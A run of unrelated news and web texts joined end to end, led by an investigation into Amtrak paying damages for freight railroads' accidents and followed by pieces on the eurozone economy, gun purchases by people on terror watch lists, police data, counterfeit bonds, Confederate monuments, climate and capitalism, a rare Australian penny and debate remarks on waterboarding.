The freight lines also pointed out that indemnity agreements are common in the rail industry, since companies sometimes run their trains on another's tracks. And they dismiss the idea that such agreements discourage attention to safety. "We suffer great economic harm when our freight trains have accidents, and we go to great lengths to prevent accidents of all types," said Kathryn Blackwell, a spokeswoman for Union Pacific.
But those arguments do not sway Angelica Palank, who received the $63.8 million payment after her husband, Paul, a police officer, was among eight people killed in the South Carolina crash in 1991. A faulty CSX track switch caused the accident.
Ms. Palank said she gave eight years of her life to legal warfare against CSX. After raising her two children alone, suffering depression and enrolling in law school so she could better understand the case, she believed that justice had finally been done after the judge in her case upheld the jury verdict, calling CSX's carelessness and greed "the functional equivalent of manslaughter." She believed that CSX, chastened, might not misbehave in the future.
But several weeks ago, a Times reporter told her, for the first time, that the money she received by wire transfer had not come from CSX, but rather from Amtrak.
First came disbelief, then anger, and finally tears. "I'm mortified," she said. "Everything I've been living under is a lie. I was feeling on a personal level at least I did my part, and now I find out I didn't."
Origins of an Obligation
Amtrak's obligation to pay for the mistakes of others dates back to its first days. Created by Congress in 1970, Amtrak preserved passenger travel by allowing railroads to unload this money-losing service -- which the railroads had been threatening to drop -- onto a semipublic corporation.
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But Amtrak still had to negotiate the terms for using tracks it did not own. The American Association of Railroads, the freight lines' trade group, made it clear that its members wanted no liability for passenger deaths and injuries even if they caused them. Amtrak, on the other hand, worried that such an agreement might be fiscally unsound and potentially unsafe for passengers, records show. It wanted liability assigned on the basis of fault.
Neither side appeared willing to budge. Then, just before the matter was to be turned over to arbitration, Amtrak tried negotiating with just one railroad, Burlington Northern, rather than the association, records show. Soon, Amtrak relented and signed an indemnity agreement that became a model for the industry.
Amtrak backed down, records show, after Burlington Northern argued that its tracks were safe and that disputes over fault might inflate the cost of settling claims. Ultimately, Amtrak agreed to cover accident claims from its own passengers and employees. The freight railroads were responsible for their own employees should they be injured by an Amtrak train.
How vigorously Amtrak pressed its case is open to question. Records show that when negotiations began, Burlington Northern was in a position to exert influence over Amtrak's affairs. Not only did its chairman, Louis W. Menk, sit on Amtrak's board, along with two executives from other freight railroads, but Burlington Northern also owned about 3.3 million shares of Amtrak's common stock, which it obtained in exchange for giving Amtrak rail equipment. Other railroads were also given shares.
Although the government owned the controlling shares in the corporation, the railroads did initially have a say in picking three of Amtrak's directors, with the government picking most of them.
"Was the fox in the hen house?" said Thomas M. Downs, who served as Amtrak's chief executive two decades later, from 1993 to December 1997. "Of course."
The negotiations over indemnity, Mr. Downs said he believed, were not conducted at arms-length among equals. "There was barely a railroad to negotiate with on the Amtrak side," he said, adding that Amtrak was dependent on the freight railroads to keep its passenger trains on schedule. "Freight railroads had all the marbles."
At the time, Mr. Black said some members of Congress believed that Amtrak would merely be a stepping stone to getting rid of passenger service. "Many observers thought it would just go away," he said.
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But it did not, and indemnity agreements has haunted Amtrak for years, said Mr. Downs, who now runs the Eno Transportation Foundation, which seeks to improve different modes of transportation. "It was one of the things that always gave me heartburn in my dealings with the freight railroads, because there was no accountability."
Questions of Costs
Amtrak's indemnity payments stemmed not just from derailments but also from accidents at grade crossings.
Such was the case on Sept. 26, 1999, when an Amtrak train came barreling through tiny McLean, Ill. Two high school honor students, Stuart A. Curtis and C. Dannen Latherow, did not realize a train was approaching because an employee for Union Pacific, which owned the tracks, had accidentally disconnected the warning lights and gates, according to an investigation by the National Transportation Safety Board.
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Both boys were killed. Amtrak paid $4 million to their families.
Amtrak paid considerably more -- $32 million -- after a jury concluded that Union Pacific bore prime responsibility for an August 1997 grade-crossing accident in Missouri. The jury said Amtrak played a minor role in that accident.
Local residents had complained about the difficulty in seeing approaching trains, partly because of overgrown vegetation. A state judge concluded that Union Pacific knew or should have known that the crossing was dangerous. In fact, another Amtrak train had killed a motorist there just four months earlier. And Amtrak paid for that accident, too -- $1.7 million.
Mr. Downs said he had been concerned enough about having to pay for the mistakes of others that he called Union Pacific's chairman, Dick Davidson. As Mr. Downs recalls the conversation, "He said, 'That's not our job, that's yours. That's the price for carrying passengers on our railroad."'
A spokeswoman for Union Pacific said that Mr. Davidson did not recall that conversation, and that it "would be inaccurate to quote him in this manner."
Last year, Amtrak paid the freight lines about $100 million for using their tracks. That figure is so low, according to the Association of American Railroads, that its members should be upset with Amtrak, not the other way around. The association sent The Times a copy of its own study for 2001 that said that the freight railroads actually gave Amtrak about $243 million in indirect subsidies by discounting the cost of using their tracks.
But Harvey Levine, a former economist for the railroad association -- who now testifies on behalf of accident victims -- said the association study ignored the fact that Amtrak was already shouldering nearly $1 billion in losses each year, losses that the railroads themselves would have faced had Amtrak not stepped in and assumed the burden of carrying passengers.
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An Amtrak official said it was "completely bogus" for the association to suggest that Amtrak was not paying its fair and agreed-upon share. If the freight railroads could prove Amtrak was underpaying them, the official said, they would make an issue of it. But they have not, he added.
In fact, the inspector general for Amtrak, Fred E. Weiderhold Jr., said that over the last 10 years he had questioned about $54 million in billings that the freight railroads submitted to Amtrak. Those billings relating to track use were either unjustified or unsupported by records, Mr. Weiderhold said. Amtrak, he added, negotiated settlements with the railroads for about 30 percent to 40 percent of the disputed amount.
Most of Amtrak's accidents are not covered by insurance. Since 1995, Amtrak itself has had to pay all claims of up to $10 million for a single accident; before that, its deductible was $25 million for collisions and derailments, an Amtrak spokesman said.
Told of the size of some of Amtrak's indemnification payments, Frank Clemente, who runs the consumer group Public Citizens Congress Watch, said, "I think if the public knew this it would be up in arms."
Questions of Safety
Government officials in recent years have expressed concern about the safety of America's 200,000 miles of railroad track. Federal statistics show that in 2003 there were slightly more derailments than a decade ago, though train accidents over all have been dropping.
The effect on Amtrak has been a particular concern. In October 2002, worried about CSX's track-related accidents, particularly those involving passenger trains, an official of the federal Department of Transportation wrote a memorandum urging regulators to form a special task force to monitor CSX's track-safety programs, records show. That memorandum, from the department's inspector general's office, cited repeated attempts by the Federal Railroad Administration, dating back to the mid 1990's, to bring CSX's tracks up to standard.
In its statement, CSX said it had "invested more than $5 billion in track, signals, training and inspection programs over the last five years to make a safe railroad even safer." At the same time, CSX said that "it is not only false, it defies logic" to suggest any relationship between indemnity and CSX's, or the entire industry's, attention to safety. "The industry has dramatically improved safety since the type of Amtrak agreements you question were put in place in the 1970's," the statement said.
Still, the question of such a relationship was at the center of the most serious challenge to Amtrak's indemnity agreements.
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On Jan. 4, 1987, an Amtrak train crashed into a Conrail train in Chase, Md. Sixteen people were killed and more than 174 were injured. Just before the crash, the Conrail engineer had used marijuana and had intentionally disabled an audible warning device in his cab. The engineer later pleaded guilty to manslaughter and was sent to jail.
Amtrak argued in federal court that Conrail's wrongdoing was so egregious that any indemnity payments would violate public policy. The judge, Oliver Gasch of Federal District Court in Washington, agreed -- in part. He wrote that Amtrak officials who negotiated the original indemnity agreement "were deeply concerned about the maintenance of safety" and did not intend for the agreement to "deprive the traveling public of its reasonable expectation" that Conrail would operate safely. To insulate Conrail from punitive damages, he concluded, "would render meaningless" the obligation of Conrail to meet safety standards.
Even so, Amtrak ended up paying compensatory damages of $9.3 million.
Judge Gasch's decision caused considerable unease among the freight railroads, said government officials. Concerned that their liability protection was being chipped away, the freight railroads turned to Congress for help. In 1996 and 1997 alone, records show, the freight railroads spent $35 million lobbying Congress on different issues, including indemnity. And eventually, Congress put its weight behind the indemnity agreements, passing the Amtrak Reform and Accountability Act of 1997.
Biggest Payout Yet
Two years after enactment of the 1997 law, CSX used the indemnity agreement as a shield against the biggest payout yet -- the $63.8 million in punitive damages, including interest, paid to Mrs. Palank.
Arthur J. Franza, the judge in her case, was harshly critical of CSX for eliminating too many maintenance workers. "Although cost-cutting measures may have saved defendant over $2 billion, society paid the cost with eight human lives," Judge Franza said.
Mrs. Palank said she had pursued the punitive damages with the understanding that CSX, not Amtrak, would pay it. And for years, she said, she believed that CSX indeed had. For good reason, according to one of her lawyers, F. Gregory Barnhart, who said records show that Mrs. Palank's money was sent to her by CSX.
Her other lawyer, Christian D. Searcy, said he had even asked Amtrak officials to state in writing whether they had reimbursed CSX. "They said no letter will be forthcoming," Mr. Searcy said.
Mrs. Palank said the jury was never told that CSX would escape the sting of its verdict. "It's so secretive, so manipulative," she said. "Someone in the federal government needs to answer for this, because there was no legal justification for them to be paying for somebody else's wrongdoing."
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Mark Geistfeld, a law professor at New York University, said indemnification, a form of insurance, has its limits. "Certainly, you cannot get insurance for criminal fines, for example," Professor Geistfeld said. "It's against public policy. No court would enforce it." But, whether Amtrak should have paid in this case depends on what kind of behavior you are talking about, he added.
Mr. Downs, the former Amtrak chief, said that after the railroad's lawyers told him Amtrak could not escape paying the punitive verdict, he called John Snow, then CSX's chief executive, to complain. Mr. Snow, now President Bush's treasury secretary, said in essence that a deal was a deal, Mr. Downs recalls. Mr. Snow declined to discuss the conversation or the case. CSX also declined to comment specifically on Amtrak's payment of punitive damages.
Amtrak's obligation did not end with the $63.8 million payment to Mrs. Palank, though. It was also responsible for $24 million in compensatory damages to her and other crash victims, for a total of $88 million. For causing the accident, CSX paid the Federal Railroad Administration the maximum fine -- $20,000.
"It's very difficult to convince railroads that the carrying of people has a higher standard of operating discipline and safety than, say, coal," Mr. Downs said. "And the reason I think that is, is that they are immune from any cost."
At about the same time that the Palank case was working its way through the courts, in fact, CSX was working on a different front to soften its litigation costs. It played a prominent role in a business coalition that helped persuade the Florida Legislature in 1999 to change liability laws in the state, imposing limits on punitive damages, for example.
"We, like many other companies across the country, support a civil justice system that is fair and balanced," said Adam Hollingsworth, a CSX spokesman. CSX, said Mr. Hollingsworth, who has since left the company, wants to make sure "that those responsible for injury pay their portion of fault."
Articles in this series examine how some of America's freight railroads have tried to sidestep blame in accidents. Previous articles have looked at the railroads' mishandling of evidence and failure to properly report grade-crossing crashes, and at one family's quest to understand the accident that killed their daughter.PARIS — It may not be at escape velocity yet, but the European economy is definitely picking up steam, an official forecast showed on Tuesday, as low oil prices, favorable foreign-exchange rates and central bank stimulus added momentum to a modest recovery.
The European Commission said it was revising upward its forecast for eurozone economic growth this year to 1.5 percent, from 1.3 percent, accelerating from the 0.9 percent growth posted last year. For 2016, the commission predicted that the eurozone economy, composed of the 19 member nations that share the euro, would grow by 1.9 percent.
“Eurozone G.D.P. is likely to beat both the U.S. and the U.K. in the first quarter, the first time since 2011,” Christian Schulz, an economist with Berenberg Bank in London, said before the commission’s new forecasts were announced. “It shows that Europe is becoming normal again.”
He predicted that the eurozone would show first-quarter expansion of 1.6 percent. The United States’ economy expanded a meager 0.2 percent at an annualized rate in the first three months of the year, while Britain’s grew 1.2 percent. But for the full year, Mr. Schulz said, it was probable that the American economy would still grow faster.On loan from Chelsea, Uli Dávila bags a hat-trick (including a golazo) in 4-2 Cordoba win over Hercules [Video]
Earlier this week we found that Chelsea had the most players in our Don Balon list of 101 greatest young players.
Cordoba’s Mexican star Uli Dávila did not make that list but tonight proved that he could be one for the future at Stamford Bridge.
Aged 22, the Chelsea attacking midfielder secured a season long loan to Cordoba on transfer deadline day.
In tonight’s 4-2 win over Hercules in the Spanish second tier, Dávila netted his first, second and third goal for the club in a brilliant performance.
After scoring two headers (at only 5″10), his hat-trick goal was truly one to saviour.
Watch each of the goals below:WASHINGTON - More than 200 people suspected of ties to terrorism bought guns in the U.S. last year legally, FBI figures show.
The 247 people who were allowed to buy weapons did so after going through required background checks as required by federal law.
It is not illegal for people listed on the government's terror watch list to buy weapons. For years, that has bothered Democratic Sen. Frank Lautenberg, who is trying again to change the law to keep weapons out of the hands of suspected terrorists.
The secret, fluid nature of the terror watch list has made closing what Lautenberg calls a "terror gap" in the nation's gun laws a challenge. About the same number of people suspected of ties to terrorism also successfully purchased guns in the U.S. in 2009. The FBI provided the new numbers to the Government Accountability Office, Congress' investigative arm, and the figures were obtained by The Associated Press.
The government can only prevent people from buying guns for any of 11 reasons. Convicted felons and illegal immigrants, for example, cannot buy weapons. But the terrorist watch list is different. People become convicted felons only after a court process and an opportunity to defend themselves. The watch list is secret and generated at the government's discretion. It is not a list of people convicted of terrorism crimes.
The list of about 450,000 people includes suspected members of al Qaeda and other terrorist organizations, terror financiers, terror recruiters and people who attended training camps. People's names are added to and removed from the watch list every day, and most people never know whether they're on it.
Lautenberg and two dozen other members of Congress want the attorney general to have the authority to prevent someone on the terror watch list from buying a gun if the attorney general believes that person will use it in a terrorist act. The Justice Department under both the Bush and Obama administrations has supported this effort.
"This is a homeland security issue, not a gun issue, and there's no reason we shouldn't be able to stop a terrorist from buying a dangerous weapon in the United States," Lautenberg told the AP.
Between February 2004 and December 2010, 1,453 people on the terror watch list have attempted to buy firearms or explosives. Of those, 90 percent of the people were allowed to go through with their purchases. There is no public information about anyone on the watch list who was allowed to buy a firearm using it in a crime.
The National Rifle Association, which wields significant political influence in Washington, is opposed to a law that would give the attorney general the authority to deny someone on the watch list the ability to buy a firearm. NRA spokesman Andrew Arulanandam said the watch list lacks integrity and includes law-abiding citizens who are mistaken as having ties to terrorists.
"We think it's wrong to arbitrarily deny a law-abiding person a constitutional right," he said. Further, he said, the NRA does not think a political appointee, such as the attorney general, should have the discretionary authority to decide that someone on the watch list is so dangerous that he should not be allowed to buy a gun. Arulanandam said if a terrorist is legitimately on the watch list, that person should be arrested, prosecuted and punished.
President Barack Obama has steered clear of politically sensitive gun-control issues. But the Justice Department would support a bill that would help prevent terrorists from getting firearms.
"The department is committed to doing everything within its power to keep firearms out of the hands of persons who may intend to use those weapons to commit terrorist acts," Justice Department spokesman Dean Boyd said. "To the extent Congress wishes to provide the department with additional tools that would improve the status quo, we remain committed to working with them to achieve that goal."
Every time someone tries to buy a gun in the U.S., the background checks include the terror watch list. When there is a match, the information is shared with the FBI case agent who is leading the terrorism investigation, according to a counterterrorism official who spoke on condition of anonymity in order to discuss the process.
To deny all people on the watch list from purchasing a weapon would mean the government would have to tell someone he or she is on the list. A person who knows he is on a watch list could change his behavior or even his identity to avoid detection, the official said.Attorney General Eric Holder Eric Himpton HolderHolder: 'Time to make the Electoral College a vestige of the past' Obama political arm to merge with Holder-run group Barack, Michelle Obama expected to refrain from endorsing in 2020 Dem primary: report MORE is calling for more data to be collected on how police officers use force, and how it is used against them.
Advocates have been pushing for law enforcement agencies to better record data on incidents where police use force against civilians, arguing the step is needed after police killing multiple unarmed black men last year.
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Law enforcement groups, meanwhile, say the federal government should do more to prevent the killing of police officers.
Holder on Thursday sought a middle ground, arguing that both requests have merit.
“The first step to achieving this is to obtain better, more accurate data on the scope of the challenges we face. For instance, I’ve heard from a number of people who have called on policymakers to ensure better record-keeping on injuries and deaths that occur at the hands of police,” Holder said, speaking at an event to commemorate the birthday of Dr. Martin Luther King, Jr.
“I’ve also spoken with law enforcement leaders — including the leadership of the Fraternal Order of Police — who have urged elected officials to consider strategies for collecting better data on officer fatalities. Today, my response to these legitimate concerns is simple: we need to do both.”
Holder’s comments seemed to be directed at the growing debate over how to oversee police conduct, which has been raging since the police killing last summer of Michael Brown in Ferguson, Mo.
“The troubling reality is that we lack the ability right now to comprehensively track the number of incidents of either uses of force directed at police officers or uses of force by police,” he said. “This strikes many — including me — as unacceptable. Fixing this is an idea that we should all be able to unite behind.”
Lawmakers and civil rights advocates have increasingly called for better oversight of police since the deaths of several unarmed men at the hands of officers last year. In December, President Obama signed into law the reauthorization of a law that requires states to report incidents where suspects die during an arrest or in police custody.
The administration has also been under pressure to more directly address questions about police conduct. The White House has called for funding that would allow more officers to wear body cameras and launched a task force on police.
Law enforcement groups have responded by asking for measures that they say would protect police from being targeted. The Fraternal Order of Police, an officer’s union, has been lobbying lawmakers to amend the nation’s hate crimes law to include police officers.
In December, two New York police officers were killed by a man who had said on social media that he was planning to target police.
Holder praised law enforcement in his speech Thursday, noting that his brother is a retired police officer.
“In short, they are true American heroes — whose patriotism, integrity, and commitment to the highest standards of excellence are simply beyond question. I know this,” he said “And I have been troubled and deeply disturbed by recent mischaracterizations of this administration’s regard for those who wear the badge.”Back in the summer of 2009, a peculiar story circulated when two Japanese individuals were arrested trying to smuggle $134 billion in US bonds into Switzerland from Italy. The story quickly died down after it was subsequently reported that the bonds were merely fake bearer bonds. Nobody heard much about it since then. Until today, when out of the blue we get a new story which blows that one out of the water. According to Bloomberg, "Italian anti-mafia prosecutors said they seized a record $6 trillion of allegedly fake U.S. Treasury bonds, an amount that’s almost half of the U.S.’s public debt." From here the story just gets weirder: "The bonds were found hidden in makeshift compartments of three safety deposit boxes in Zurich, the prosecutors from the southern city of Potenza said in an e-mailed statement. The Italian authorities arrested eight people in connection with the probe, dubbed “Operation Vulcanica,” the prosecutors said. The U.S. embassy in Rome has examined the securities dated 1934, which had a nominal value of $1 billion apiece, they said in the statement. Officials for the embassy didn’t have an immediate comment."...And weirder: "The individuals involved were planning to buy plutonium from Nigerian sources, according to phone conversations monitored by the police."...And really, really weird: "The fraud posed “severe threats” to international financial stability, the prosecutors said in the statement." Ok great, however one thing we don't get is just how can $6 trillion in glaringly fake bombs be a "threat to international financial stability."
More from Bloomberg:
The financial fraud uncovered by the Italian prosecutors in Potenza includes two checks issued through HSBC Holdings Plc in London for 205,000 pounds ($325,000), checks that weren’t backed by available funds, the prosecutors said. As part of the probe, fake bonds for $2 billion were also seized in Rome. HSBC spokesman Patrick Humphris in London declined to comment when contacted by telephone. Phony U.S. securities have been seized in Italy before and there were at least three cases in 2009. Italian police seized phony U.S. Treasury bonds with a face value of $116 billion in August of 2009 and $134 billion of similar securities in June of that year. The U.S. Secret Service averages about 100 cases a year related to bonds and other fictitious instruments.
As a reminder, total US debt in circulation is just over $10 trillion. So if the allegedly "fake" bonds were sufficiently threatening to put international financial stability at risk, just what is going on here?
Some more from the BBC:
US officials confirmed that the bonds were counterfeit. Fake US securities have been seized in Italy before and there were at least three cases in 2009. But this case is on a different scale to previous investigations as the fake bonds have a value equivalent to almost half of the entire US debt pile. "Everything began with an investigation into mafia clans in the Vulture-Melfese area in the southern Basilicata region," said Giovanni Colangelo, the head of the prosecutor's office in Potenza.
Here is what the bonds look like:
And here is where they were kept:NEW ORLEANS, Louisiana — The removal of Civil War-era monuments is underway after almost two years of calls by Mayor Mitch Landrieu (D) to remove four that he deemed “racist”.
The Liberty Place monument is the first of four monuments to come down under the direction of Landrieu and a Democrat-majority city council, which voted in 2015 to remove the monuments, according to FOX 8 News.
Landrieu said the Liberty Place monument was “the most offensive of the four,” as crews of city workers began removing it in the middle of the night at around 1:30 a.m. Central Time.
Also on the chopping block for removal is the Robert E. Lee monument at Lee Circle, the Jefferson Davis statue, and a monument near City Park dedicated to PGT Beauregard.
At the height of the heated debate over removing monuments in New Orleans, a poll by WWL-TV showed that 68 percent of New Orleans residents opposed the removal or renaming of monuments. Only 18 percent at the time supported removals.
While addressing the |
share price swings; it limits the latitude of strategic thinking by decreasing focus on long-term investment and strategic planning; and it rewards only the type of shareholder who, in the words of Lynn Stout, is “shortsighted, opportunistic, willing to impose external costs, and indifferent to ethics and others’ welfare.”
A better way to gauge the economy
Going beyond our understanding of what motivates people and organizations within the market, there is growing attention to the metrics that guide the outcomes of that action. One of those metrics is the discount rate. Economist Nicholas Stern stirred a healthy controversy when he used an unusually low discount rate when calculating the future costs and benefits of climate change mitigation and adaptation, arguing that there is a ethical component to this metric’s use. For example, a common discount rate of 5% leads to a conclusion that everything 20 years out and beyond is worthless. When gauging the response to climate change, is that an outcome that anyone – particularly anyone with children or grandchildren – would consider ethical?
Another metric is gross domestic product (GDP), the foremost economic indicator of national economic progress. It is a measure of all financial transactions for products and services. But one problem is that it does not acknowledge (nor value) a distinction between those transactions that add to the well-being of a country and those that diminish it. Any activity in which money changes hands will register as GDP growth. GDP treats the recovery from natural disasters as economic gain; GDP increases with polluting activities and then again with pollution cleanup; and it treats all depletion of natural capital as income, even when the depreciation of that capital asset can limit future growth.
A second problem with GDP is that it is not a metric dealing with true human well-being at all. Instead, it is based on the tacit assumption that the more money and wealth we have, the better off we are. But that’s been challenged by numerous studies.
As a result, French ex-president Nicolas Sarkozy created a commission, headed by Joseph Stieglitz and Amartya Sen (both Nobel laureates), to examine alternatives to GDP. Their report recommended a shift in economic emphasis from simply the production of goods to a broader measure of overall well-being that would include measures for categories like health, education and security. It also called for greater focus on the societal effects of income inequality, new ways to measure the economic impact of sustainability and ways to include the value of wealth to be passed on to the next generation. Similarly, the king of Bhutan has developed a GDP alternative called gross national happiness, which is a composite of indicators that are much more directly related to human well-being than monetary measures.
The form of capitalism we have today has evolved over centuries to reflect growing needs, but also has been warped by private interests. Yuval Levin points out that some key moral features of Adam Smith’s political economy have been corrupted in more recent times, most notably by “a growing collusion between government and large corporations.” This issue has become most vivid after the financial crisis and the failed policies that both preceded and succeeded that watershed event. The answers, as Auden Schendler and Mark Trexler point out, are both “policy solutions” and “corporations to advocate for those solutions.”
We can never have a clean slate
How will we get to the solutions for climate change? Let’s face it. Installing efficient LED light bulbs, driving the latest Tesla electric car and recycling our waste are admirable and desirable activities. But they are not going to solve the climate problem by reducing our collective emissions to a necessary level. To achieve that goal requires systemic change. To that end, some argue for creating a new system to replace capitalism. For example, Naomi Klein calls for “shredding the free-market ideology that has dominated the global economy for more than three decades.”
Klein is performing a valuable service with her call for extreme action. She, like Bill McKibben and his 350.org movement, is helping to make it possible for a conversation to take place over the magnitude of the challenge before us through what is called the “radical flank effect.”
All members and ideas of a social movement are viewed in contrast to others, and extreme positions can make other ideas and organizations seem more reasonable to movement opponents. For example, when Martin Luther King Jr first began speaking his message, it was perceived as too radical for the majority of white America. But when Malcolm X entered the debate, he pulled the radical flank further out and made King’s message look more moderate by comparison. Capturing this sentiment, Russell Train, second administrator of the EPA, once quipped, “Thank God for [environmentalist] Dave Brower; he makes it so easy for the rest of us to be reasonable.”
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But the nature of social change never allows us the clean slate that makes sweeping statements for radical change attractive. Every set of institutions by which society is structured evolved from some set of structures that preceded it. Stephen Jay Gould made this point quite powerfully in his essay “The Creation Myths of Cooperstown,” where he pointed out that baseball was not invented by Abner Doubleday in Cooperstown New York in 1839. In fact, he points out, “no one invented baseball at any moment or in any spot.” It evolved from games that came before it. In a similar way, Adam Smith did not invent capitalism in 1776 with his book The Wealth of Nations. He was writing about changes that he was observing and had been taking place for centuries in European economies; most notably the division of labor and the improvements in efficiency and quality of production that were the result.
In the same way, we cannot simply invent a new system to replace capitalism. Whatever form of commerce and interchange we adopt must evolve out of the form we have at the present. There is simply no other way.
But one particularly difficult challenge of climate change is that, unlike Adam Smith’s proverbial butcher, brewer or baker who provide our dinner out of the clear alignment of their self-interest and our needs, climate change breaks the link between action and outcome in profound ways. A person or corporation cannot learn about climate change through direct experience. We cannot feel an increase in global mean temperature; we cannot see, smell or taste greenhouse gases; and we cannot link an individual weather anomaly with global climate shifts.
A real appreciation of the issue requires an understanding of large-scale systems through “big data” models. Moreover, both the knowledge of these models and an appreciation for how they work require deep scientific knowledge about complex dynamic systems and the ways in which feedback loops in the climate system, time delays, accumulations and nonlinearities operate within them. Therefore, the evolution of capitalism to address climate change must, in many ways, be based on trust, belief and faith in stakeholders outside the normal exchange of commerce. To get to the next iteration of this centuries-old institution, we must envision the market through all components that help to establish the rules; corporations, government, civil society, scientists and others.
The evolving role of the corporation in society
At the end of the day, the solutions to climate change must come from the market and more specifically, from business. The market is the most powerful institution on earth, and business is the most powerful entity within it. Business makes the goods and services we rely upon: the clothes we wear, the food we eat, the forms of mobility we use and the buildings we live and work in.
Businesses can transcend national boundaries and possess resources that exceed that of many countries. You can lament that fact, but it is a fact. If business does not lead the way toward solutions for a carbon-neutral world, there will be no solutions.
Capitalism can, indeed it must, evolve to address our current climate crisis. This cannot happen through either wiping clean the institutions that presently exist or relying on the benevolence of a laissez faire market. It will require thoughtful leaders creating a thoughtfully structured market.
Originally published at the Conversation here.
2016 February 15
For all of Andrew Hoffman’s previous articles and columns, click here.I AM: Trans People Speak is a campaign created by the Massachusetts Transgender Political Coalition (MTPC) and sponsored by GLAAD to raise awareness about the diversity of transgender communities. It will lift the voices of transgender individuals, as well as their families, friends, and allies.
Transgender people have a wide range of interests, experiences and backgrounds that are too often ignored because of their trans identity. Together we can make a positive change in the visibility and representation of transgender people by focusing on the full individual.
Trans People Speak
GLAAD has four new videos that are part of the "I AM: Trans People Speak" video series. Watch them now:
Jennifer Finney Boylan
Laverne Cox
Noah Lewis
Kit Yan
Watch the trailer
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This is the space to empower yourself and your community by sharing your own experiences. Click here for more information.
About I AM: Trans People Speak
I AM: Trans People Speak is a campaign developed and designed by the Massachusetts Transgender Political Coalition, in partnership with GLAAD.
Thank you to all of the participants, MTPC staff, interns, and the MTPC steering committee. Special thank you to Laura Kiritsy, Rachel Zall, Erica Kaufman, and Sophia Glass for all your work on the original Massachusetts-based I AM: Trans People Speak campaign.
History of the I AM: Trans People Speak Campaign
In 2010, Massachusetts Transgender Political Coalition (MTPC) launched the I AM: Trans People Speak project, a Massachusetts based video campaign that has expanded to incude the voices and experiences of transgender people, family members, friends, and allies nationwide. This multi-media campaign is aimed at educating the public about the diverse communities of trans individuals, families, and allies. I AM: Trans People Speak
GLAAD wants to give a special thank you to Charla Harlow for production assistance with the "I AM: Trans People Speak" videos.As Australia's 3rd rarest copper Commonwealth coin, the 1925 penny is one of the most keenly sought coins in the entire Commonwealth series. Royal Mint records seem to indicate that it was struck quite late in 1925 to ensure there was no chance that Australian shop tills ran short of pennies over the 1925 Christmas break.
The desire to own a truly rare Australian coin can be an idle curiosity, a passing whimsy or an inexplicable drive. Most Commonwealth coin collectors first satisfy their compulsion by getting themselves a 1925 penny. Although it isn't anywhere near as rare as it's “big brother”, the 1930 penny, it is always one of the first key date Commonwealth coins that novice collectors acquire when starting off on their journey into Australian numismatics.
It can be obtained, even today, by careful searching through “virgin” quantities of bulk pennies, yet is so rare in superior condition that values of high grade coins do not seem to have been subject to the vagaries of even the strongest market cycle. The finest examples have always set price records when they become available at auction, making headline news in the numismatic media.
Although conventional mintage figures show that both the Sydney and Melbourne Mints struck pennies during 1925, subsequent research shows that the Sydney Mint used 1924 dated reverse dies and “Indian” obverse dies to strike 832,200 pennies during 1926. This obviously means that each of the 117,600 Australian pennies dated 1925 were struck at the Melbourne Mint. All 1924 pennies featuring the “London” obverse were struck at the Melbourne Mint, and although many Australian numismatists both past and present believe that a number of 1925 pennies were struck with the Indian obverse die, despite years of searching, none have ever been sighted.
The Historical Background to the 1925 Penny
More than one prominent historian states that although Australia became a nation truly on the world stage during World War I – a nation whose military valour was without question – that independence and acknowledgement did not come without a cost. World War I took far longer and cost Australia far more financially than was expected, let alone in the 59,258 Australian lives that were lost as a result of it. Inflation rose strongly both during and after WWI, and although there was certainly an economic boom in the us during “The Roaring Twenties”, in Australia, life passed in a somewhat more arduous and conservative pace.
Industrial action between militant unions and large employers was commonplace right throughout the 1920's, the californian bungalow became the accepted standard in australian suburbia, the family went to church every week without fail in their “Sunday Best”, pubs shut at 6pm, the 35 hour work week was still a dream for the menfolk while in the absence of any of the labour savings devices that we all take for granted today, a woman's work was never done. in 1925, the car was an asset that most aspirational australians either owned or were working towards, while australian consumer product brands such as Billy Tea and Rosella sauce became household names.
The controversial politician, Jack Lang, became Premier of NSW for the first time from June 1925, and went on to hold the dubious distinction of being the only Premier of an Australian state to have been dismissed by the State Governor. In the United States in 1925, “The Roaring Twenties” were in full swing, as was the Art Deco design movement, the golden years of jazz and prohibition. F. Scott Fitzgerald published “The Great Gatsby”, while in Europe Adolf Hitler published his personal manifesto, “Mein Kampf”. in Egypt, the Great Sphinx of Giza was unearthed after restoration.
In a time when the average wage was a little over £4 a week, even a humble penny was clearly a precious commodity.
The Melbourne Mint in 1925
Following the end of World War I, gold commanded a significant premium by on the international market, and this resulted in the export of large quantities of Australian gold. At the same time, the amount of gold being produced by the Australian mining industry was steadily dropping - the amount of gold produced by the once fantastically rich state of Victoria dropped by 29.58% during 1925 alone.
This decline in mining production meant that “there was insufficient balance for the carrying on of trade and for the financing of heavy loan operations and large public works in the various states.” A further consequence was a fall “in the cost of exchange on London”, which resulted in large quantities of gold bullion being imported into Australia throughout 1925. Much of this gold was coined into sovereigns – the number produced at the Melbourne Mint during 1925 was 92% higher than that during 1924.
In June of 1925, the Commonwealth government offered a small bonus to the general public for any worn British silver coins that were returned to the Mint, and large sums were withdrawn from circulation. It was necessary for the Melbourne Mint to strike a large number of Australian (silver) coins to replace them, and staff apparently clocked up a considerable amount of overtime to ensure sufficient coins for the Christmas season were available.
Significant quantities of pennies were produced in years immediately preceding 1925 (some 38 million pennies were struck at all three branch mints between 1920 and 1924), which would indicate then that the Melbourne Mint had neither the demand for or capacity to produce a significant quantity of pennies in 1925. it seems that only just enough were struck to ensure that the wheels of Australia's retail trade were amply oiled over the 1925 Christmas period.
Despite the frenetic activity at the Melbourne Mint in 1925, records show that staff carried out several experiments that year relating to the hardening of dies - whether these experiments led to the minor die varieties that are keenly sought by collectors today is not yet clear."I would bring back waterboarding," Trump told Saturday night's debate audience in Manchester, N.H.
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"And I would bring back a hell of a lot worse than waterboarding."
"Uh, I would not bring it back in any sort of widespread use," Cruz said, to some disapproving murmurs from the crowd.
"And, indeed, I joined with [Sen. John McCain] in legislation that would prohibit line officers from employing it because I think bad things happen when enhanced interrogation is employed at lower levels. But when it comes to keeping this country safe, the commander in chief has inherent Constitutional authority to keep this country safe," Cruz added.
"And so, if it were necessary to, say, prevent a city from facing an imminent terrorist attack, you can rest assured that as commander in chief, I would use whatever enhanced interrogation methods we could to keep this country safe."
Trump stepped in to suggest that the current times require unprecedented actions against terrorists.
"In the Middle East, we have people chopping the heads off Christians," the billionaire said.
"They're Medieval times. I mean, we studied Medieval times. Not since Medieval times have people seen what's going on."World champion ready to battle ‘phenomenon’ Sagan
He was mastered by Peter Sagan this week in the Brabantse Pijl race and had to be content with second at the finish, but Philippe Gilbert still believes that his form is coming at just the right time and that he can aim for victory in Sunday’s Amstel Gold Race plus the other Ardennes Classics.
